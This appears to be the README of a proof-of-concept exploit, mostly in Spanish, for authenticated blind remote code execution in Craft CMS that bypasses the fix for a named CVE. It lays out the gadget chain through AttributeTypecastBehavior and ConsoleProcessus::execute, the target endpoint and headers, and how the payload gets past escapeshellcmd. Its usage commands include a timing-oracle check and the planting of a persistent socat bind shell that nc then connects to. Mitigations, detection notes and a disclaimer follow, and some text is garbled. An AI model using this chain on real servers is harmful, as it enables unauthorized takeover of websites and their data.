Ejecución remota de código autenticada y **a ciegas** en Craft CMS. Corrección para CVE-2026-28695
element-search)CVSS 3.x : 8.8 HIGH (approx — verify)
CWE : CWE-502 (Unsafe Object Instantiation) + CWE-1336 (SSTI origin)
Base : CVE-2026-28695 (SSTI via create() + Symfony Process)
Fix : advisory fix e31e508 (restricts create() to BaseObject) — BYPASSED here
Affects : Craft CMS ≤ 5.9.8 with the CVE-2026-28695 fix applied
Ejecución remota de código autenticada y ciega en Craft CMS. El parche oficial para
CVE-2026-28695 solo restringe create() a subclases de yii\base\BaseObject. El
gadget yii\behaviors\AttributeTypecastBehavior es un BaseObject pero aún así alcanza un
sink call_user_func(), por lo que sobrevive al filtro. Entregado a través de la acción no-Twig
admin/actions/element-search/search, también esquiva CRAFT_ENABLE_TWIG_SANDBOX.
Una cuenta de Content Editor es suficiente.
El controlador element-search de Craft deserializa JSON del atacante en objetos PHP vivos a través de
la maquinaria Craft::createObject() / Instance de Yii. Al adjuntar un AttributeTypecastBehavior
cuyo attributeTypes mapea un atributo al callable [Psy\Readline\Hoa\ConsoleProcessus, execute]
y disparar el evento beforeSave, el typecast se convierte en:
call_user_func([Psy\Readline\Hoa\ConsoleProcessus, "execute"], "<CMD>")
El endpoint siempre responde HTTP 500 y no devuelve salida del comando — la ejecución es ciega.
create() + Symfony Process, alcanzado desde un sink de Twig
(típicamente Entry Types → Title Format).e31e508 restringe create() a subclases de BaseObject, y
el objetivo también se ejecuta con CRAFT_ALLOW_ADMIN_CHANGES=false (settings → 403) y
CRAFT_ENABLE_TWIG_SANDBOX=true. El vector documentado está triplemente cerrado.yii\behaviors\AttributeTypecastBehavior -> Psy\Readline\Hoa\ConsoleProcessus::execute
Doble bypass, por construcción:
element-search es una ruta de objeto PHP, no un render de Twig.
CRAFT_ENABLE_TWIG_SANDBOX solo controla el motor de plantillas, por lo que nunca aplica.create() a BaseObject. AttributeTypecastBehavior
→ yii\base\Behavior → yii\base\BaseObject, por lo que satisface la nueva restricción
mientras sigue ofreciendo un sink de ejecución. El parche cierra una familia de clases, no la
clase BaseObject.Endpoint:
POST /index.php?p=admin/actions/element-search/search
X-CSRF-Token: <dashboard csrf>
X-Requested-With: XMLHttpRequest
Accept: application/json
Hoa\ConsoleProcessus::execute() ejecuta el comando a través de escapeshellcmd():
| && ; > < $() ' " → sin encadenamiento, sin pipes, sin redirección, sin
reverse shell clásica de bash.: , /Por esto el payload es una shell bind única de socat TCP-LISTEN,fork EXEC (args en
: / , / /) en lugar de una reverse shell.
Attacker (Content Editor) Craft CMS 5.9.8
| |
| GET /admin/login (scrape CSRF) |
|--------------------------------------->|
| POST users/login (jenny:******) |
|--------------------------------------->|
| GET /admin/dashboard (JS csrf) |
|<---------------------------------------|
| POST element-search/search |
| AttributeTypecastBehavior gadget |
| typecastBeforeSave = "<CMD>" |
|--------------------------------------->| call_user_func(
| HTTP 500 (blind, no output) | [ConsoleProcessus,execute], CMD)
|<---------------------------------------| -> escapeshellcmd(CMD) -> exec
| |
| oracle: "sleep 5" -> +~5s latency |
| shell: socat TCP-LISTEN:4445 bind |
| Estado | Versiones |
|---|---|
| Vulnerable | Craft CMS ≤ 5.9.8 con el parche de CVE-2026-28695 |
| Nota | El gadget requiere una sesión autenticada en el CP |
| Archivo | Rol |
|---|---|
exploit.py | PoC: login → verificación de oráculo temporal → cmd único → bind shell |
README.md | Este archivo |
Requiere requests (pip install requests).
# 1. Prove code execution (timing oracle: sleep 5 must add ~5s)
python3 exploit.py http://example.lab --check
# 2. Fire a single blind command (one binary + args, no metachars)
python3 exploit.py http://example.lab "sleep 5"
# 3. Plant a persistent bind shell as the web user, then connect
python3 exploit.py http://example.lab --bind 4445
nc IP or exemple.lab 4445
# custom creds
python3 exploit.py http://exemple.lab -u User -p 'SecureP4$$!' --bind
Qué ocurre:
AttributeTypecastBehavior a element-search.--check prueba la ejecución ciega mediante latencia inyectada; --bind despliega un listener socat.create()), y auditar el manejo de condiciones de element-search.CRAFT_ALLOW_ADMIN_CHANGES=false y minimizar los privilegios de Content Editor — la autenticación es
la única precondición aquí.psy/psysh (Hoa) donde un gadget ConsoleProcessus::execute
sea alcanzable.element-search/search que contengan __class, as rce, o
AttributeTypecastBehavior; marcar ráfagas de HTTP 500 desde esa acción.e31e508 (create() → restricción a BaseObject)AttributeTypecastBehavior / yii\base\SecurityEste proyecto es solo para pruebas de seguridad autorizadas, educación e investigación defensiva. Eres responsable de cumplir con las leyes aplicables y las reglas de engagement de tu laboratorio o cliente.